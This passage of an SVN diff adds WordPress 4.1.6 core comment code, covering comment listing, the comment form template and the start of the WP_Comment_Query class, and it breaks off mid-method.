+ *     @type string $callback          Callback function to use. Default null.
+ *     @type string $end-callback      Callback function to use at the end. Default null.
+ *     @type string $type              Type of comments to list.
+ *                                     Default 'all'. Accepts 'all', 'comment', 'pingback', 'trackback', 'pings'.
+ *     @type int    $page              Page ID to list comments for. Default empty.
+ *     @type int    $per_page          Number of comments to list per page. Default empty.
+ *     @type int    $avatar_size       Height and width dimensions of the avatar size. Default 32.
+ *     @type string $reverse_top_level Ordering of the listed comments. Default null. Accepts 'desc', 'asc'.
+ *     @type bool   $reverse_children  Whether to reverse child comments in the list. Default null.
+ *     @type string $format            How to format the comments list.
+ *                                     Default 'html5' if the theme supports it. Accepts 'html5', 'xhtml'.
+ *     @type bool   $short_ping        Whether to output short pings. Default false.
+ *     @type bool   $echo              Whether to echo the output or return it. Default true.
+ * }
+ * @param array $comments Optional. Array of comment objects.
+ */
+function wp_list_comments( $args = array(), $comments = null ) {
+	global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop;
+
+	$in_comment_loop = true;
+
+	$comment_alt = $comment_thread_alt = 0;
+	$comment_depth = 1;
+
+	$defaults = array(
+		'walker'            => null,
+		'max_depth'         => '',
+		'style'             => 'ul',
+		'callback'          => null,
+		'end-callback'      => null,
+		'type'              => 'all',
+		'page'              => '',
+		'per_page'          => '',
+		'avatar_size'       => 32,
+		'reverse_top_level' => null,
+		'reverse_children'  => '',
+		'format'            => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml',
+		'short_ping'        => false,
+		'echo'              => true,
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filter the arguments used in retrieving the comment list.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param array $r An array of arguments for displaying comments.
+	 */
+	$r = apply_filters( 'wp_list_comments_args', $r );
+
+	// Figure out what comments we'll be looping through ($_comments)
+	if ( null !== $comments ) {
+		$comments = (array) $comments;
+		if ( empty($comments) )
+			return;
+		if ( 'all' != $r['type'] ) {
+			$comments_by_type = separate_comments($comments);
+			if ( empty($comments_by_type[$r['type']]) )
+				return;
+			$_comments = $comments_by_type[$r['type']];
+		} else {
+			$_comments = $comments;
+		}
+	} else {
+		if ( empty($wp_query->comments) )
+			return;
+		if ( 'all' != $r['type'] ) {
+			if ( empty($wp_query->comments_by_type) )
+				$wp_query->comments_by_type = separate_comments($wp_query->comments);
+			if ( empty($wp_query->comments_by_type[$r['type']]) )
+				return;
+			$_comments = $wp_query->comments_by_type[$r['type']];
+		} else {
+			$_comments = $wp_query->comments;
+		}
+	}
+
+	if ( '' === $r['per_page'] && get_option('page_comments') )
+		$r['per_page'] = get_query_var('comments_per_page');
+
+	if ( empty($r['per_page']) ) {
+		$r['per_page'] = 0;
+		$r['page'] = 0;
+	}
+
+	if ( '' === $r['max_depth'] ) {
+		if ( get_option('thread_comments') )
+			$r['max_depth'] = get_option('thread_comments_depth');
+		else
+			$r['max_depth'] = -1;
+	}
+
+	if ( '' === $r['page'] ) {
+		if ( empty($overridden_cpage) ) {
+			$r['page'] = get_query_var('cpage');
+		} else {
+			$threaded = ( -1 != $r['max_depth'] );
+			$r['page'] = ( 'newest' == get_option('default_comments_page') ) ? get_comment_pages_count($_comments, $r['per_page'], $threaded) : 1;
+			set_query_var( 'cpage', $r['page'] );
+		}
+	}
+	// Validation check
+	$r['page'] = intval($r['page']);
+	if ( 0 == $r['page'] && 0 != $r['per_page'] )
+		$r['page'] = 1;
+
+	if ( null === $r['reverse_top_level'] )
+		$r['reverse_top_level'] = ( 'desc' == get_option('comment_order') );
+
+	if ( empty( $r['walker'] ) ) {
+		$walker = new Walker_Comment;
+	} else {
+		$walker = $r['walker'];
+	}
+
+	$output = $walker->paged_walk( $_comments, $r['max_depth'], $r['page'], $r['per_page'], $r );
+	$wp_query->max_num_comment_pages = $walker->max_pages;
+
+	$in_comment_loop = false;
+
+	if ( $r['echo'] ) {
+		echo $output;
+	} else {
+		return $output;
+	}
+}
+
+/**
+ * Output a complete commenting form for use within a template.
+ *
+ * Most strings and form fields may be controlled through the $args array passed
+ * into the function, while you may also choose to use the comment_form_default_fields
+ * filter to modify the array of default fields if you'd just like to add a new
+ * one or remove a single field. All fields are also individually passed through
+ * a filter of the form comment_form_field_$name where $name is the key used
+ * in the array of fields.
+ *
+ * @since 3.0.0
+ *
+ * @param array       $args {
+ *     Optional. Default arguments and form fields to override.
+ *
+ *     @type array $fields {
+ *         Default comment fields, filterable by default via the 'comment_form_default_fields' hook.
+ *
+ *         @type string $author Comment author field HTML.
+ *         @type string $email  Comment author email field HTML.
+ *         @type string $url    Comment author URL field HTML.
+ *     }
+ *     @type string $comment_field        The comment textarea field HTML.
+ *     @type string $must_log_in          HTML element for a 'must be logged in to comment' message.
+ *     @type string $logged_in_as         HTML element for a 'logged in as [user]' message.
+ *     @type string $comment_notes_before HTML element for a message displayed before the comment form.
+ *                                        Default 'Your email address will not be published.'.
+ *     @type string $comment_notes_after  HTML element for a message displayed after the comment form.
+ *                                        Default 'You may use these HTML tags and attributes ...'.
+ *     @type string $id_form              The comment form element id attribute. Default 'commentform'.
+ *     @type string $id_submit            The comment submit element id attribute. Default 'submit'.
+ *     @type string $class_submit         The comment submit element class attribute. Default 'submit'.
+ *     @type string $name_submit          The comment submit element name attribute. Default 'submit'.
+ *     @type string $title_reply          The translatable 'reply' button label. Default 'Leave a Reply'.
+ *     @type string $title_reply_to       The translatable 'reply-to' button label. Default 'Leave a Reply to %s',
+ *                                        where %s is the author of the comment being replied to.
+ *     @type string $cancel_reply_link    The translatable 'cancel reply' button label. Default 'Cancel reply'.
+ *     @type string $label_submit         The translatable 'submit' button label. Default 'Post a comment'.
+ *     @type string $format               The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'.
+ * }
+ * @param int|WP_Post $post_id Post ID or WP_Post object to generate the form for. Default current post.
+ */
+function comment_form( $args = array(), $post_id = null ) {
+	if ( null === $post_id )
+		$post_id = get_the_ID();
+
+	$commenter = wp_get_current_commenter();
+	$user = wp_get_current_user();
+	$user_identity = $user->exists() ? $user->display_name : '';
+
+	$args = wp_parse_args( $args );
+	if ( ! isset( $args['format'] ) )
+		$args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml';
+
+	$req      = get_option( 'require_name_email' );
+	$aria_req = ( $req ? " aria-required='true'" : '' );
+	$html5    = 'html5' === $args['format'];
+	$fields   =  array(
+		'author' => '<p class="comment-form-author">' . '<label for="author">' . __( 'Name' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label> ' .
+		            '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" size="30"' . $aria_req . ' /></p>',
+		'email'  => '<p class="comment-form-email"><label for="email">' . __( 'Email' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label> ' .
+		            '<input id="email" name="email" ' . ( $html5 ? 'type="email"' : 'type="text"' ) . ' value="' . esc_attr(  $commenter['comment_author_email'] ) . '" size="30" aria-describedby="email-notes"' . $aria_req . ' /></p>',
+		'url'    => '<p class="comment-form-url"><label for="url">' . __( 'Website' ) . '</label> ' .
+		            '<input id="url" name="url" ' . ( $html5 ? 'type="url"' : 'type="text"' ) . ' value="' . esc_attr( $commenter['comment_author_url'] ) . '" size="30" /></p>',
+	);
+
+	$required_text = sprintf( ' ' . __('Required fields are marked %s'), '<span class="required">*</span>' );
+
+	/**
+	 * Filter the default comment form fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $fields The default comment fields.
+	 */
+	$fields = apply_filters( 'comment_form_default_fields', $fields );
+	$defaults = array(
+		'fields'               => $fields,
+		'comment_field'        => '<p class="comment-form-comment"><label for="comment">' . _x( 'Comment', 'noun' ) . '</label> <textarea id="comment" name="comment" cols="45" rows="8" aria-describedby="form-allowed-tags" aria-required="true"></textarea></p>',
+		/** This filter is documented in wp-includes/link-template.php */
+		'must_log_in'          => '<p class="must-log-in">' . sprintf( __( 'You must be <a href="%s">logged in</a> to post a comment.' ), wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) ) ) . '</p>',
+		/** This filter is documented in wp-includes/link-template.php */
+		'logged_in_as'         => '<p class="logged-in-as">' . sprintf( __( 'Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out?</a>' ), get_edit_user_link(), $user_identity, wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) ) ) . '</p>',
+		'comment_notes_before' => '<p class="comment-notes"><span id="email-notes">' . __( 'Your email address will not be published.' ) . '</span>'. ( $req ? $required_text : '' ) . '</p>',
+		'comment_notes_after'  => '<p class="form-allowed-tags" id="form-allowed-tags">' . sprintf( __( 'You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes: %s' ), ' <code>' . allowed_tags() . '</code>' ) . '</p>',
+		'id_form'              => 'commentform',
+		'id_submit'            => 'submit',
+		'class_submit'         => 'submit',
+		'name_submit'          => 'submit',
+		'title_reply'          => __( 'Leave a Reply' ),
+		'title_reply_to'       => __( 'Leave a Reply to %s' ),
+		'cancel_reply_link'    => __( 'Cancel reply' ),
+		'label_submit'         => __( 'Post Comment' ),
+		'format'               => 'xhtml',
+	);
+
+	/**
+	 * Filter the comment form default arguments.
+	 *
+	 * Use 'comment_form_default_fields' to filter the comment fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $defaults The default comment form arguments.
+	 */
+	$args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) );
+
+	?>
+		<?php if ( comments_open( $post_id ) ) : ?>
+			<?php
+			/**
+			 * Fires before the comment form.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'comment_form_before' );
+			?>
+			<div id="respond" class="comment-respond">
+				<h3 id="reply-title" class="comment-reply-title"><?php comment_form_title( $args['title_reply'], $args['title_reply_to'] ); ?> <small><?php cancel_comment_reply_link( $args['cancel_reply_link'] ); ?></small></h3>
+				<?php if ( get_option( 'comment_registration' ) && !is_user_logged_in() ) : ?>
+					<?php echo $args['must_log_in']; ?>
+					<?php
+					/**
+					 * Fires after the HTML-formatted 'must log in after' message in the comment form.
+					 *
+					 * @since 3.0.0
+					 */
+					do_action( 'comment_form_must_log_in_after' );
+					?>
+				<?php else : ?>
+					<form action="<?php echo site_url( '/wp-comments-post.php' ); ?>" method="post" id="<?php echo esc_attr( $args['id_form'] ); ?>" class="comment-form"<?php echo $html5 ? ' novalidate' : ''; ?>>
+						<?php
+						/**
+						 * Fires at the top of the comment form, inside the form tag.
+						 *
+						 * @since 3.0.0
+						 */
+						do_action( 'comment_form_top' );
+						?>
+						<?php if ( is_user_logged_in() ) : ?>
+							<?php
+							/**
+							 * Filter the 'logged in' message for the comment form for display.
+							 *
+							 * @since 3.0.0
+							 *
+							 * @param string $args_logged_in The logged-in-as HTML-formatted message.
+							 * @param array  $commenter      An array containing the comment author's
+							 *                               username, email, and URL.
+							 * @param string $user_identity  If the commenter is a registered user,
+							 *                               the display name, blank otherwise.
+							 */
+							echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity );
+							?>
+							<?php
+							/**
+							 * Fires after the is_user_logged_in() check in the comment form.
+							 *
+							 * @since 3.0.0
+							 *
+							 * @param array  $commenter     An array containing the comment author's
+							 *                              username, email, and URL.
+							 * @param string $user_identity If the commenter is a registered user,
+							 *                              the display name, blank otherwise.
+							 */
+							do_action( 'comment_form_logged_in_after', $commenter, $user_identity );
+							?>
+						<?php else : ?>
+							<?php echo $args['comment_notes_before']; ?>
+							<?php
+							/**
+							 * Fires before the comment fields in the comment form.
+							 *
+							 * @since 3.0.0
+							 */
+							do_action( 'comment_form_before_fields' );
+							foreach ( (array) $args['fields'] as $name => $field ) {
+								/**
+								 * Filter a comment form field for display.
+								 *
+								 * The dynamic portion of the filter hook, `$name`, refers to the name
+								 * of the comment form field. Such as 'author', 'email', or 'url'.
+								 *
+								 * @since 3.0.0
+								 *
+								 * @param string $field The HTML-formatted output of the comment form field.
+								 */
+								echo apply_filters( "comment_form_field_{$name}", $field ) . "\n";
+							}
+							/**
+							 * Fires after the comment fields in the comment form.
+							 *
+							 * @since 3.0.0
+							 */
+							do_action( 'comment_form_after_fields' );
+							?>
+						<?php endif; ?>
+						<?php
+						/**
+						 * Filter the content of the comment textarea field for display.
+						 *
+						 * @since 3.0.0
+						 *
+						 * @param string $args_comment_field The content of the comment textarea field.
+						 */
+						echo apply_filters( 'comment_form_field_comment', $args['comment_field'] );
+						?>
+						<?php echo $args['comment_notes_after']; ?>
+						<p class="form-submit">
+							<input name="<?php echo esc_attr( $args['name_submit'] ); ?>" type="submit" id="<?php echo esc_attr( $args['id_submit'] ); ?>" class="<?php echo esc_attr( $args['class_submit'] ); ?>" value="<?php echo esc_attr( $args['label_submit'] ); ?>" />
+							<?php comment_id_fields( $post_id ); ?>
+						</p>
+						<?php
+						/**
+						 * Fires at the bottom of the comment form, inside the closing </form> tag.
+						 *
+						 * @since 1.5.0
+						 *
+						 * @param int $post_id The post ID.
+						 */
+						do_action( 'comment_form', $post_id );
+						?>
+					</form>
+				<?php endif; ?>
+			</div><!-- #respond -->
+			<?php
+			/**
+			 * Fires after the comment form.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'comment_form_after' );
+		else :
+			/**
+			 * Fires after the comment form if comments are closed.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'comment_form_comments_closed' );
+		endif;
+}
Index: /tags/4.1.6/src/wp-includes/comment.php
===================================================================
--- /tags/4.1.6/src/wp-includes/comment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/comment.php	(revision 33402)
@@ -0,0 +1,2847 @@
+<?php
+/**
+ * Manages WordPress comments
+ *
+ * @package WordPress
+ * @subpackage Comment
+ */
+
+/**
+ * Check whether a comment passes internal checks to be allowed to add.
+ *
+ * If manual comment moderation is set in the administration, then all checks,
+ * regardless of their type and whitelist, will fail and the function will
+ * return false.
+ *
+ * If the number of links exceeds the amount in the administration, then the
+ * check fails. If any of the parameter contents match the blacklist of words,
+ * then the check fails.
+ *
+ * If the comment author was approved before, then the comment is automatically
+ * whitelisted.
+ *
+ * If all checks pass, the function will return true.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $author       Comment author name.
+ * @param string $email        Comment author email.
+ * @param string $url          Comment author URL.
+ * @param string $comment      Content of the comment.
+ * @param string $user_ip      Comment author IP address.
+ * @param string $user_agent   Comment author User-Agent.
+ * @param string $comment_type Comment type, either user-submitted comment,
+ *		                       trackback, or pingback.
+ * @return bool If all checks pass, true, otherwise false.
+ */
+function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
+	global $wpdb;
+
+	// If manual moderation is enabled, skip all checks and return false.
+	if ( 1 == get_option('comment_moderation') )
+		return false;
+
+	/** This filter is documented in wp-includes/comment-template.php */
+	$comment = apply_filters( 'comment_text', $comment );
+
+	// Check for the number of external links if a max allowed number is set.
+	if ( $max_links = get_option( 'comment_max_links' ) ) {
+		$num_links = preg_match_all( '/<a [^>]*href/i', $comment, $out );
+
+		/**
+		 * Filter the maximum number of links allowed in a comment.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int    $num_links The number of links allowed.
+		 * @param string $url       Comment author's URL. Included in allowed links total.
+		 */
+		$num_links = apply_filters( 'comment_max_links_url', $num_links, $url );
+
+		/*
+		 * If the number of links in the comment exceeds the allowed amount,
+		 * fail the check by returning false.
+		 */
+		if ( $num_links >= $max_links )
+			return false;
+	}
+
+	$mod_keys = trim(get_option('moderation_keys'));
+
+	// If moderation 'keys' (keywords) are set, process them.
+	if ( !empty($mod_keys) ) {
+		$words = explode("\n", $mod_keys );
+
+		foreach ( (array) $words as $word) {
+			$word = trim($word);
+
+			// Skip empty lines.
+			if ( empty($word) )
+				continue;
+
+			/*
+			 * Do some escaping magic so that '#' (number of) characters in the spam
+			 * words don't break things:
+			 */
+			$word = preg_quote($word, '#');
+
+			/*
+			 * Check the comment fields for moderation keywords. If any are found,
+			 * fail the check for the given field by returning false.
+			 */
+			$pattern = "#$word#i";
+			if ( preg_match($pattern, $author) ) return false;
+			if ( preg_match($pattern, $email) ) return false;
+			if ( preg_match($pattern, $url) ) return false;
+			if ( preg_match($pattern, $comment) ) return false;
+			if ( preg_match($pattern, $user_ip) ) return false;
+			if ( preg_match($pattern, $user_agent) ) return false;
+		}
+	}
+
+	/*
+	 * Check if the option to approve comments by previously-approved authors is enabled.
+	 *
+	 * If it is enabled, check whether the comment author has a previously-approved comment,
+	 * as well as whether there are any moderation keywords (if set) present in the author
+	 * email address. If both checks pass, return true. Otherwise, return false.
+	 */
+	if ( 1 == get_option('comment_whitelist')) {
+		if ( 'trackback' != $comment_type && 'pingback' != $comment_type && $author != '' && $email != '' ) {
+			// expected_slashed ($author, $email)
+			$ok_to_comment = $wpdb->get_var("SELECT comment_approved FROM $wpdb->comments WHERE comment_author = '$author' AND comment_author_email = '$email' and comment_approved = '1' LIMIT 1");
+			if ( ( 1 == $ok_to_comment ) &&
+				( empty($mod_keys) || false === strpos( $email, $mod_keys) ) )
+					return true;
+			else
+				return false;
+		} else {
+			return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Retrieve the approved comments for post $post_id.
+ *
+ * @since 2.0.0
+ * @since 4.1.0 Refactored to leverage {@see WP_Comment_Query} over a direct query.
+ *
+ * @param  int   $post_id The ID of the post.
+ * @param  array $args    Optional. See {@see WP_Comment_Query::query()} for information
+ *                        on accepted arguments.
+ * @return int|array $comments The approved comments, or number of comments if `$count`
+ *                             argument is true.
+ */
+function get_approved_comments( $post_id, $args = array() ) {
+	if ( ! $post_id ) {
+		return array();
+	}
+
+	$defaults = array(
+		'status'  => 1,
+		'post_id' => $post_id,
+		'order'   => 'ASC',
+	);
+	$r = wp_parse_args( $args, $defaults );
+
+	$query = new WP_Comment_Query;
+	return $query->query( $r );
+}
+
+/**
+ * Retrieves comment data given a comment ID or comment object.
+ *
+ * If an object is passed then the comment data will be cached and then returned
+ * after being passed through a filter. If the comment is empty, then the global
+ * comment variable will be used, if it is set.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param object|string|int $comment Comment to retrieve.
+ * @param string $output Optional. OBJECT or ARRAY_A or ARRAY_N constants.
+ * @return object|array|null Depends on $output value.
+ */
+function get_comment(&$comment, $output = OBJECT) {
+	global $wpdb;
+
+	if ( empty($comment) ) {
+		if ( isset($GLOBALS['comment']) )
+			$_comment = & $GLOBALS['comment'];
+		else
+			$_comment = null;
+	} elseif ( is_object($comment) ) {
+		wp_cache_add($comment->comment_ID, $comment, 'comment');
+		$_comment = $comment;
+	} else {
+		if ( isset($GLOBALS['comment']) && ($GLOBALS['comment']->comment_ID == $comment) ) {
+			$_comment = & $GLOBALS['comment'];
+		} elseif ( ! $_comment = wp_cache_get($comment, 'comment') ) {
+			$_comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment));
+			if ( ! $_comment )
+				return null;
+			wp_cache_add($_comment->comment_ID, $_comment, 'comment');
+		}
+	}
+
+	/**
+	 * Fires after a comment is retrieved.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param mixed $_comment Comment data.
+	 */
+	$_comment = apply_filters( 'get_comment', $_comment );
+
+	if ( $output == OBJECT ) {
+		return $_comment;
+	} elseif ( $output == ARRAY_A ) {
+		$__comment = get_object_vars($_comment);
+		return $__comment;
+	} elseif ( $output == ARRAY_N ) {
+		$__comment = array_values(get_object_vars($_comment));
+		return $__comment;
+	} else {
+		return $_comment;
+	}
+}
+
+/**
+ * Retrieve a list of comments.
+ *
+ * The comment list can be for the blog as a whole or for an individual post.
+ *
+ * @since 2.7.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $args Optional. Array or string of arguments. See {@see WP_Comment_Query::query()}
+ *                           for information on accepted arguments. Default empty.
+ * @return int|array List of comments or number of found comments if `$count` argument is true.
+ */
+function get_comments( $args = '' ) {
+	$query = new WP_Comment_Query;
+	return $query->query( $args );
+}
+
+/**
+ * WordPress Comment Query class.
+ *
+ * See {@see WP_Comment_Query::query()} for accepted arguments.
+ *
+ * @since 3.1.0
+ */
+class WP_Comment_Query {
+	/**
+	 * SQL for database query.
+	 *
+	 * @since 4.0.1
+	 * @access public
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * Metadata query container
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @var object WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * Date query container
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var object WP_Date_Query
+	 */
+	public $date_query = false;
+
+	/**
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * @var array
+	 */
+	public $comments;
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+	 * Execute the query
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in',
+	 *              'post_author__not_in', 'author__in', 'author__not_in', 'post__in',
+	 *              'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in'
+	 *              arguments to $query_vars.
+	 *
+	 * @param string|array $query_vars {
+	 *     Optional. Array or query string of comment query parameters.
+	 *
+	 *     @type string       $author_email        Comment author email address. Default empty.
+	 *     @type array        $author__in          Array of author IDs to include comments for. Default empty.
+	 *     @type array        $author__not_in      Array of author IDs to exclude comments for. Default empty.
+	 *     @type array        $comment__in         Array of comment IDs to include. Default empty.
+	 *     @type array        $comment__not_in     Array of comment IDs to exclude. Default empty.
+	 *     @type bool         $count               Whether to return a comment count (true) or array of comment
+	 *                                             objects (false). Default false.
+	 *     @type array        $date_query          Date query clauses to limit comments by. See {@see WP_Date_Query}.
+	 *                                             Default null.
+	 *     @type string       $fields              Comment fields to return. Accepts 'ids' for comment IDs only or
+	 *                                             empty for all fields. Default empty.
+	 *     @type int          $ID                  Currently unused.
+	 *     @type array        $include_unapproved  Array of IDs or email addresses of users whose unapproved comments
+	 *                                             will be returned by the query regardless of `$status`. Default empty.
+	 *     @type int          $karma               Karma score to retrieve matching comments for. Default empty.
+	 *     @type string       $meta_key            Include comments with a matching comment meta key. Default empty.
+	 *     @type string       $meta_value          Include comments with a matching comment meta value. Requires
+	 *                                             `$meta_key` to be set. Default empty.
+	 *     @type array        $meta_query          Meta query clauses to limit retrieved comments by.
+	 *                                             See {@see WP_Meta_Query}. Default empty.
+	 *     @type int          $number              Maximum number of comments to retrieve. Default null (no limit).
+	 *     @type int          $offset              Number of comments to offset the query. Used to build LIMIT clause.
+	 *                                             Default 0.
+	 *     @type string|array $orderby             Comment status or array of statuses. Accepts 'comment_agent',
+	 *                                             'comment_approved', 'comment_author', 'comment_author_email',
+	 *                                             'comment_author_IP', 'comment_author_url', 'comment_content',
+	 *                                             'comment_date', 'comment_date_gmt', 'comment_ID', 'comment_karma',
+	 *                                             'comment_parent', 'comment_post_ID', 'comment_type', 'user_id',
+	 *                                             'meta_value', 'meta_value_num', or value of $meta_key.
+	 *                                              Also accepts false, empty array, or 'none' to disable `ORDER BY`
+	 *                                             clause. Default: 'comment_date_gmt'.
+	 *     @type string       $order               How to order retrieved comments. Accepts 'ASC', 'DESC'.
+	 *                                             Default: 'DESC'.
+	 *     @type int          $parent              Parent ID of comment to retrieve children of. Default empty.
+	 *     @type array        $post_author__in     Array of author IDs to retrieve comments for. Default empty.
+	 *     @type array        $post_author__not_in Array of author IDs *not* to retrieve comments for. Default empty.
+	 *     @type int          $post_ID             Currently unused.
+	 *     @type int          $post_id             Limit results to those affiliated with a given post ID. Default 0.
+	 *     @type array        $post__in            Array of post IDs to include affiliated comments for. Default empty.
+	 *     @type array        $post__not_in        Array of post IDs to exclude affiliated comments for. Default empty.
+	 *     @type int          $post_author         Comment author ID to limit results by. Default empty.
+	 *     @type string       $post_status         Post status to retrieve affiliated comments for. Default empty.
+	 *     @type string       $post_type           Post type to retrieve affiliated comments for. Default empty.
+	 *     @type string       $post_name           Post name to retrieve affiliated comments for. Default empty.
+	 *     @type int          $post_parent         Post parent ID to retrieve affiliated comments for. Default empty.
+	 *     @type string       $search              Search term(s) to retrieve matching comments for. Default empty.
+	 *     @type string       $status              Comment status to limit results by. Accepts 'hold'
+	 *                                             (`comment_status=0`), 'approve' (`comment_status=1`), 'all', or a
+	 *                                             custom comment status. Default 'all'.
+	 *     @type string|array $type                Include comments of a given type, or array of types. Accepts
+	 *                                             'comment', 'pings' (includes 'pingback' and 'trackback'), or any
+	 *                                             custom type string. Default empty.
+	 *     @type array        $type__in            Include comments from a given array of comment types. Default empty.
+	 *     @type array        $type__not_in        Exclude comments from a given array of comment types. Default empty.
+	 *     @type int          $user_id             Include comments for a specific user ID. Default empty.
+	 * }
+	 * @return int|array Array of comments or number of found comments if `$count` is set to true.
+	 */
+	public function query( $query_vars ) {
+		global $wpdb;
+
+		$defaults = array(
+			'author_email' => '',
+			'author__in' => '',
+			'author__not_in' => '',
+			'include_unapproved' => '',
+			'fields' => '',
+			'ID' => '',
+			'comment__in' => '',
+			'comment__not_in' => '',
+			'karma' => '',
+			'number' => '',
+			'offset' => '',
+			'orderby' => '',
+			'order' => 'DESC',
+			'parent' => '',
+			'post_author__in' => '',
+			'post_author__not_in' => '',
+			'post_ID' => '',
+			'post_id' => 0,
+			'post__in' => '',
+			'post__not_in' => '',
+			'post_author' => '',
+			'post_name' => '',
+			'post_parent' => '',
+			'post_status' => '',
+			'post_type' => '',
+			'status' => 'all',
+			'type' => '',
+			'type__in' => '',
+			'type__not_in' => '',
+			'user_id' => '',
+			'search' => '',
+			'count' => false,
+			'meta_key' => '',
+			'meta_value' => '',
+			'meta_query' => '',
+			'date_query' => null, // See WP_Date_Query
+		);
+
+		$groupby = '';
+
+		$this->query_vars = wp_parse_args( $query_vars, $defaults );
+
+		// Parse meta query
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $this->query_vars );
+
+		/**
+		 * Fires before comments are retrieved.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param WP_Comment_Query &$this Current instance of WP_Comment_Query, passed by reference.
+		 */
+		do_action_ref_array( 'pre_get_comments', array( &$this ) );
+
+		// $args can be whatever, only use the args defined in defaults to compute the key
+		$key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $defaults ) ) )  );
+		$last_changed = wp_cache_get( 'last_changed', 'comment' );
+		if ( ! $last_changed ) {
+			$last_changed = microtime();
+			wp_cache_set( 'last_changed', $last_changed, 'comment' );
+		}
+		$cache_key = "get_comments:$key:$last_changed";
+
+		if ( $cache = wp_cache_get( $cache_key, 'comment' ) ) {
+			return $cache;
+		}
+
+		$where = array();
+
+		// Assemble clauses related to 'comment_approved'.
+		$approved_clauses = array();
+
+		// 'status' accepts an array or a comma-separated string.
+		$status_clauses = array();
+		$statuses = $this->query_vars['status'];
+		if ( ! is_array( $statuses ) ) {
+			$statuses = preg_split( '/[\s,]+/', $statuses );
+		}
+
+		// 'any' overrides other statuses.
+		if ( ! in_array( 'any', $statuses ) ) {
+			foreach ( $statuses as $status ) {
+				switch ( $status ) {
+					case 'hold' :
+						$status_clauses[] = "comment_approved = '0'";
+						break;
+
+					case 'approve' :
+						$status_clauses[] = "comment_approved = '1'";
+						break;
+
+					case 'all' :
+					case '' :
+						$status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )";
+						break;
+
+					default :
+						$status_clauses[] = $wpdb->prepare( "comment_approved = %s", $status );
+						break;
+				}
+			}
+
+			if ( ! empty( $status_clauses ) ) {
+				$approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )';
+			}
+		}
+
+		// User IDs or emails whose unapproved comments are included, regardless of $status.
+		if ( ! empty( $this->query_vars['include_unapproved'] ) ) {
+			$include_unapproved = $this->query_vars['include_unapproved'];
+
+			// Accepts arrays or comma-separated strings.
+			if ( ! is_array( $include_unapproved ) ) {
+				$include_unapproved = preg_split( '/[\s,]+/', $include_unapproved );
+			}
+
+			$unapproved_ids = $unapproved_emails = array();
+			foreach ( $include_unapproved as $unapproved_identifier ) {
+				// Numeric values are assumed to be user ids.
+				if ( is_numeric( $unapproved_identifier ) ) {
+					$approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier );
+
+				// Otherwise we match against email addresses.
+				} else {
+					$approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier );
+				}
+			}
+		}
+
+		// Collapse comment_approved clauses into a single OR-separated clause.
+		if ( ! empty( $approved_clauses ) ) {
+			if ( 1 === count( $approved_clauses ) ) {
+				$where[] = $approved_clauses[0];
+			} else {
+				$where[] = '( ' . implode( ' OR ', $approved_clauses ) . ' )';
+			}
+		}
+
+		$order = ( 'ASC' == strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC';
+
+		// Disable ORDER BY with 'none', an empty array, or boolean false.
+		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
+			$orderby = '';
+		} else if ( ! empty( $this->query_vars['orderby'] ) ) {
+			$ordersby = is_array( $this->query_vars['orderby'] ) ?
+				$this->query_vars['orderby'] :
